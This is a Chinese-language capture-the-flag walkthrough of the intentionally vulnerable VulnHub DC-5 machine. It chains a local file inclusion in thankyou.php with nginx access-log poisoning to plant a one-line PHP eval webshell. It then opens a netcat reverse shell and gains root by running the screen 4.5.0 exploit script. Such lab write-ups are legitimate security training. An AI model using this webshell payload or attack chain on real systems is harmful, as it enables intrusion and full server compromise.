VulnHub靶机 DC-5 打靶 渗透测试详情过程

2024-04-19 07:04

本文主要是介绍VulnHub靶机 DC-5 打靶 渗透测试详情过程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

VulnHub靶机 DC-5 打靶 详细渗透测试过程

目录

  • VulnHub靶机 DC-5 打靶 详细渗透测试过程
    • 一、将靶机导入到虚拟机当中
    • 二、渗透流程
      • 主机发现
      • 端口扫描
      • 目录爆破
      • 文件包含
      • getshell
      • 反弹shell
      • 提权

一、将靶机导入到虚拟机当中

靶机地址:

https://download.vulnhub.com/dc/DC-5.zip

image-20240417225232078

image-20240417225114733

二、渗透流程

主机发现

使用arp-scan命令或者nmap命令进行主机发现

arp-scan -l

image-20240417225408386

端口扫描

nmap -p- 192.168.43.192

得到开放了80,111,以及41237端口

image-20240417225530315

扫描端口服务详细信息:

nmap -p80,111,41237 -sV -A 192.168.43.192

image-20240417230005698

访问80端口的web服务:

image-20240417230039242

目录爆破

dirsearch -u http://192.168.43.192 -i 200

暴露出如下几个目录,去访问发现其中的目录,爆出的目录其中有一些界面为默认界面当中点击跳转的目录

image-20240417230345961

在访问/footer.php,/thankyou.php时发现跳转界面和原始界面的年份不一样,总是来回变动,刷新也会变动

image-20240417233041872

image-20240417232728160

在contact.php交互界面:

image-20240417233353500

跳转页同样也发生变化:

image-20240417233417873

文件包含

说明这几个目录都包含了/footer.php文件,再次尝试爆破目录

在/thankyou.php基础上爆破

dirsearch -u http://192.168.43.192/thankyou.php -e* -i 200

image-20240417234740154

访问:

image-20240418000829186

目录爆破发现,存在file参数,尝试读取一下/etc/passwd文件,成功读取/etc/passwd文件并回显成功

image-20240418000909181

当然既然知道了包含/footer.php文件,那么我们也可以去猜解参数,常用的如file,尝试一下即可,或者爆破

wfuzz -w  /usr/share/wfuzz/wordlist/general/common.txt http://192.168.43.192/thankyou.php?FUZZ=/etc/passwd

image-20240418003815549

http://192.168.43.192/thankyou.php?file=/etc/passwd

image-20240418003101999

getshell

信息收集发现web服务器为nginx,尝试包含以下日志,查看以下

image-20240418000953791

//日志路径:
/var/log/nginx/access.log

image-20240418003854931

日志信息显示出来了,其中包括url和UA头信息,我们可将一句话木马写进UA头或者url的file参数后面当中,进行getshell

image-20240418004019623

测试是否可解析php语句

image-20240418012041901

成功解析,写入一句话木马

image-20240418012024961

<?php @eval($_POST['cmd']);?>

image-20240418013718220

image-20240418013736006

蚁剑连接,getshell

image-20240418013750654

反弹shell

在蚁剑的虚拟终端执行,bash反弹没有成功,使用nc命令反弹shell

image-20240418015809763

kali端开启监听

nc -lvvp 8888

成功接收到shell

image-20240418015848511

获取稳定shell

python -c "import pty;pty.spawn('/bin/bash')"

提权

//查找suid权限的命令
find / -perm -u=s -type f 2>/dev/null

发现存在一个screen的命令并且版本为4.5.0,搜索一下相关漏洞

image-20240418020059416

进行漏洞检索,然后进行漏洞利用

image-20240418020150008

目标存在wget命令,可进行文件下载,那么kail使用python开启一个http服务,使用wget下载下来

python3 -m http.server 8080

image-20240418020258011

可将两个文件都下载下来,进行查看

image-20240418020351050

给予sh文件执行权限,直接执行一下试试,成功提权

chmod u+x 41154.sh
./41154.sh

image-20240418020524592

文章不妥之处,欢迎批评指正!

这篇关于VulnHub靶机 DC-5 打靶 渗透测试详情过程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/916861

相关文章

Redis中Hash从使用过程到原理说明

《Redis中Hash从使用过程到原理说明》RedisHash结构用于存储字段-值对,适合对象数据,支持HSET、HGET等命令,采用ziplist或hashtable编码,通过渐进式rehash优化... 目录一、开篇:Hash就像超市的货架二、Hash的基本使用1. 常用命令示例2. Java操作示例三

Redis中Set结构使用过程与原理说明

《Redis中Set结构使用过程与原理说明》本文解析了RedisSet数据结构,涵盖其基本操作(如添加、查找)、集合运算(交并差)、底层实现(intset与hashtable自动切换机制)、典型应用场... 目录开篇:从购物车到Redis Set一、Redis Set的基本操作1.1 编程常用命令1.2 集

Linux下利用select实现串口数据读取过程

《Linux下利用select实现串口数据读取过程》文章介绍Linux中使用select、poll或epoll实现串口数据读取,通过I/O多路复用机制在数据到达时触发读取,避免持续轮询,示例代码展示设... 目录示例代码(使用select实现)代码解释总结在 linux 系统里,我们可以借助 select、

k8s中实现mysql主备过程详解

《k8s中实现mysql主备过程详解》文章讲解了在K8s中使用StatefulSet部署MySQL主备架构,包含NFS安装、storageClass配置、MySQL部署及同步检查步骤,确保主备数据一致... 目录一、k8s中实现mysql主备1.1 环境信息1.2 部署nfs-provisioner1.2.

MyBatis/MyBatis-Plus同事务循环调用存储过程获取主键重复问题分析及解决

《MyBatis/MyBatis-Plus同事务循环调用存储过程获取主键重复问题分析及解决》MyBatis默认开启一级缓存,同一事务中循环调用查询方法时会重复使用缓存数据,导致获取的序列主键值均为1,... 目录问题原因解决办法如果是存储过程总结问题myBATis有如下代码获取序列作为主键IdMappe

linux部署NFS和autofs自动挂载实现过程

《linux部署NFS和autofs自动挂载实现过程》文章介绍了NFS(网络文件系统)和Autofs的原理与配置,NFS通过RPC实现跨系统文件共享,需配置/etc/exports和nfs.conf,... 目录(一)NFS1. 什么是NFS2.NFS守护进程3.RPC服务4. 原理5. 部署5.1安装NF

MySQL使用EXISTS检查记录是否存在的详细过程

《MySQL使用EXISTS检查记录是否存在的详细过程》EXISTS是SQL中用于检查子查询是否返回至少一条记录的运算符,它通常用于测试是否存在满足特定条件的记录,从而在主查询中进行相应操作,本文给大... 目录基本语法示例数据库和表结构1. 使用 EXISTS 在 SELECT 语句中2. 使用 EXIS

oracle 11g导入\导出(expdp impdp)之导入过程

《oracle11g导入导出(expdpimpdp)之导入过程》导出需使用SEC.DMP格式,无分号;建立expdir目录(E:/exp)并确保存在;导入在cmd下执行,需sys用户权限;若需修... 目录准备文件导入(impdp)1、建立directory2、导入语句 3、更改密码总结上一个环节,我们讲了

ShardingProxy读写分离之原理、配置与实践过程

《ShardingProxy读写分离之原理、配置与实践过程》ShardingProxy是ApacheShardingSphere的数据库中间件,通过三层架构实现读写分离,解决高并发场景下数据库性能瓶... 目录一、ShardingProxy技术定位与读写分离核心价值1.1 技术定位1.2 读写分离核心价值二

MyBatis-plus处理存储json数据过程

《MyBatis-plus处理存储json数据过程》文章介绍MyBatis-Plus3.4.21处理对象与集合的差异:对象可用内置Handler配合autoResultMap,集合需自定义处理器继承F... 目录1、如果是对象2、如果需要转换的是List集合总结对象和集合分两种情况处理,目前我用的MP的版本